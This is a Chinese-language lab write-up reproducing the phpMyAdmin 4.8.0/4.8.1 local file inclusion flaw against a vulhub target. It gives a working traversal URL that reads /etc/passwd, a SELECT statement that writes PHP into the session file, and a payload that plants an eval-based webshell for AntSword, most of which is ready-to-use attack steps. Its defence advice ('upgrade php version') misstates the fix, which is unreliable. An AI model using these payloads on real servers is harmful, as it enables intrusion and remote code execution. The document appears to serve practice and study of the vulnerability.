环境:
靶机:
系统:centos 7-vulhub
Ip: 192.168.21.32
Kali机:
系统:Win 10
Ip:192.168.21.21
漏洞介绍:
在4.8.2之前的phpMyAdmin 4.8.x中发现了一个问题,攻击者可以在其中包含(查看并可能执行)服务器上的文件。该漏洞来自页面重定向和在phpMyAdmin中加载的部分代码,以及对列入白名单的页面的不正确测试。除“ $ cfg [‘AllowArbitraryServer’] = true”情况(攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码)外,攻击者还必须经过身份验证。 [‘ServerDefault’] = 0“的情况(绕过登录要求,并在没有任何身份验证的情况下运行易受攻击的代码)。
影响版本: phpMyAdmin 4.8.0和4.8.1
端口方面:vulhub 8080->80
启动vulhub环境:
主页:
过程:
- 查看是否显示/etc/passwd 内的数据,若存在则具有此漏洞
http://192.168.21.32:8080/index.php?target=sql.php?/../../../../../../../../../etc/passwd
- 根据session写入<?php phpinfo();?>
---->
- F12 -存储-session名-并先复制下来
3d7330e4fce217359391def5a62be0f5
- 进入到靶场/tmp 查看是否一样
Docker exec -it 容器名 /bin/bash
- 再使用vim或cat 查看该文件内容,select 的 <?php phpinfo();?>是否成功写入
成功写入
- 再利用第一步的文件包含去访问该文件
可以看到更多的信息了
- 再利用我们看到的信息
比如网站根目录
- 继续利用session方式写入创建webshell的代码
select "<?php file_put_contents('/var/www/html/_PowerShell.php','<?php @eval($_POST[_PowerShell]);?>')?>"
- 查看session并用文件包含漏洞执行这个创建webshell代码
|
|
⬇
可以看到我们已经创建好了
这里要说明一个php函数
File_put_contents(‘file’,’content’)
如果file不存在则会创建该文件,并且把content写入到file中
- 试着访问_Powershell.php
- 试着用蚁剑连接一下,密码_PowerShell
- 之后便可以进行进一步的渗透了!!
防御: 升级php版本
总结一下: 通过这个漏洞的复现,我了解到了session的一些作用,原来在sql功能点使用select “code”执行的code会被存储在session中,但貌似也只存在于4.8.0 和 4.8.1这两个版本中